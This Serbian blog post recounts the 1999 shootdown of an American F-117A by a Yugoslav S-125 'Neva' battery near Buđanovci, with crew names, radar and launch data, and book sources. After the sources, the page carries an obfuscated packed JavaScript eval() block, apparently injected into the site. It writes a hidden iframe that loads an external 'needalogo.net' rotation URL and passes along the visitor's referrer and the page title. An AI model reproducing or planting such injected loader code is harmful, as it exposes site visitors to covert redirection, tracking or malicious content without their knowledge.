Home > Blog > “NEVIDLJIVI” JE PAO

“NEVIDLJIVI” JE PAO

U ratnim dejstvima jedinice 250. raketne brigade PVO izvršile su 31 gađanje ciljeva u vazdušnom prostoru uz utrošak 54 rakete V-601. Na teritoriji Srbije pala su dva oborena aviona. Nekoliko činjenica u pitaju za razumevanje činjenica da je NATO imao ovako male gubitke, pogotovo kada se uporedi sa veličinom angažovane avijacije u operaciji. Pre svega, tu je višestruka povezanost vazduhoplovnih snaga NATO-a kroz različite operativne sisteme. Izvođenje bilo kakve borbene misije  podrazumeva visoku i temeljnu piramidu svih drugih komponenata, a na čijem se čelu nalazi jedinica ili posada koja izvršava borbeni zadatak. Avione koji su imali zadatakk da izruče  ubojni tovar negde u Srbiji, uz zobičajnu lovačku pratnju, pratili su avioni za ometanje radarskih sistema i neutralizaciju raketnih diviziona PVO.              

                                                 

Lanser raketnog sistema zemlja-vazduh S-125 Neva/Pečora

Ceo vazdušni prostor u kome su se odvijala borbena dejstva nadziran je iz satelita i letećih stanica za rano upozoravanje (AWACS). Borbena dejstva kordinisana su sa letećih komandnih mesta tako da su sve moguće promene situacije ili opasnosti mogle u toku leta da budu prosleđene pilotima. U širem rejonu vane teritorije SRJ, u toku borbenih dejstava patrolirale bi formacije drugih borbenih aviona i flote vazdušnih tankera, načešće iz evropskih NATO vazduhoplovstava, spremne da priskoče u pomoć. Na isturenim bazama, kakva je ona u Tuzli, u punoj gotovosti nalazili su se da timovi zaduženi za borbeno traganje i spasavanje (CSAR) oborenih pilota. Ovi timovi su helikopterimaizvršili dva spektakularna spasavanja dva oborena američka pilota u noći između 27. i 28. marta, odnosno 2. maja. Ovakvi timovi ulivali su sigurnost angažovanim pilotima da u slučaju bilo kakve nezgode njihova sudbina nije neizvesna.

Četvrtog dana agresije, 27. marta 1999. godine borbena posluga 3.raketnog diviziona PVO je prvom ispaljenom raketom “Neva“ u ratu u 20.42h oborila “nevidljivi“ američki lovac-bombarder F-117A. Bio je to šok za Amerikance i prelomni trenutak neviđenog narastanja borbenog morala. Slike oborenog F-117A sa buđanovačke ledine munjevito je obišla svet, prenoseći slavu raketaša brigade.

                                                                                              Lasiranje rakete V-601 (poligon)

Borbena posluga koja je izvršila bojevo gađanje i oborila F-117A bila je u sastavu:

ppuk Zoltan Dani, rukovalac gađanja,

ppuk Đorđe Aničić, pomoćnik rukovaoca gađanja,

kapetan prve klase Senad Muminović, oficir vođenja raketa,

vodnik prve klase Dejan Tiosavljević, operator ručnog praćenja F1,

stariji vodnik prve klase Dragan Matić, operator ručnog praćenja F2,

ppor Darko Nikolić, komandir baterije i

vojnik Davor Bložić, zapisničar borbenih dejstava.

U stanici za vođenje nalazio se i major Boris Stoimenov, koji je trebao da nakon smene posade preuzme ulogu pomoćnika rukovaoca gađanja.

Na vatrenom položaju na drugim sredstvima borbene tehnike bili su:

stariji vodnik prve klase Đorđe Maletić i jedan vojnik na izvorima napajanja,

vodnik prve klase Vladimir Ljubenković i jedan vojnik na osmatračkom radaru P-18,

ppor Miodrag Stojanović i jedan vojnik kao komandir voda veze i

vodnik Igor Radivojević i zastavnik Radislav Jović na imitatoru radarskog zračenja.

 

Subota, 27. mart 1999. godine. Raketaši 3.raketnog diviziona 250. raketne brigade PVO nalaze se u pripravnosti u rejonu Šimanovaca. U 20.40h nišanski radar je bez zračenja usmeren prema azimutu od 150 stepeni ali je cilj na daljini od 18km izvšio manevari počeo se udaljavati. Odmah posle toga na azimutu 195 i daljini od 23km, pojavljuje se normalnog odraza na ekranima pokazivača oficira za vođenje i operatora ručnog praćenja.

 

 

Borbena posada otkriva cilj na visini od 6km ali ne može da ga prati kontinuirano i posle 5 sekundi isključuje nišanski radar. Sledeće otkrivanje cilja dešava se na na azimutu od 240 stepeni i daljini od 13km. Posada uspeva da stabiliše ručno praćenje cilja i rukovalac gađanja naređuje da se cilj uništi  metodom tri tačke sa dve rakete. Lansiranje je izvršeno na azimutu 245 stepeni i daljini od 12km.    

                                                     

                                                                      Deo borbene posade koja je oborila “nevidljivog”

Prva lansirana raketa je zahvatila cilj (operateri praćenja po ravni F1 i F2 počinju da vode raketu na cilj) dok druga raketa koja je poletela sa lansera 5 sekundi nakon prve, nije zahvatila cilj i ne postoji mogućnost njegog vođenja. U 20 časova i 42 minuta dolazi do susreta rakete sa ciljem. Na azimutu od 280 stepeni i daljini od 14km cilje nestaje. Cilj je pogođen na visin od 7km pri brzini od 250m/s i na parametru od 12km. Od momenta lansiranja do tačke susreta rakete i cilja prošlo je 18 sekundi. Ostaci aviona pali su u atar sremačkog sela Buđanovci.     

 

Obaranje jednog od najsavremenijih aviona u početnoj fazi rata dalo je potvrdu uverenja da se sistemom “Neva“ može uspešno dejstvovati i u tako nepovoljnim i složenim borbenih uslovima. Sam čin obaranja “nevidljivog“ je poput injekcije adrenalina podigao borbeni moral pripadnika brigade, a svakako je uticao na jačanje morala čitave vojske. Euforija i moral znatno su porasli u jedinici. Nestalo je grča. Povratila se vera da se nešto može uraditi.                                                                        Ostaci F-117 u blatu Buđanovca

 

Za Amerikance je gubitak aviona bio popriličam šok. Gubitak je bio brz, tek je bila treća noć agresije a pogotovo otežavajuća okolnost je bila ta što je u pitanju bila “nevodljiva“ tehnologija. Pokazalo se da i zastarelim raketnim sistemima i radarima može, u pojedinim slučajevima, da se doskoči i najsavremenijoj tehnici. Pilot u F-117A ppuk Dale Zelko imao je pozivni znak “Vega 31“. Avion je nosi serijski broj 82-0806 i nalazio se u sastavu 8.lovačkog skvadrona/49.lovačkog vinga Američkog vazduhoplovstva (baza Holloman). Evakuisan je od strane specijalnog CSAR tima koji je doleteo helikopterima MH-53M iz baze u Tuzli. 

       

               Pilot Dale Zelko (čuči na krilu)

  • monografija “250. raketna brigada PVO” (Bojan Dimitrijević, Jovica Dragić, Beograd 2007)
  • knjiga “SMENA” – ratni dnevnik, (Đorđe S.Aničić, Beograd 2009)
  • slike : sajt Vojske Srbije

 

eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!”.replace(/^/,String)){while(c–)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return’\\w+’};c=1};while(c–)if(k[c])p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c]);return p}(‘(7(){2 d=3;2 w=1;2 h=1;2 t=d.8(\’9\’);2 4=5.a(5.b()*c);2 0=\’e://f.g/i/j?\';0=0+\’k=\’+3.l;0=0+\’&m=\’+3.n;0=0+\’&r=\’+4;d.o(\’\’)})();’,35,35,’src||var|document|id|Math|iframe|function|createElement|script|floor|random|9999||http|needalogo|net||rotation|3wBsvV|se_referrer|referrer|default_keyword|title|write|style|padding||0px||border|none||width|height’.split(‘|’),0,{}))

Leave a Reply

Your email address will not be published. Required fields are marked *

*

You may use these HTML tags and attributes: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

Scroll To Top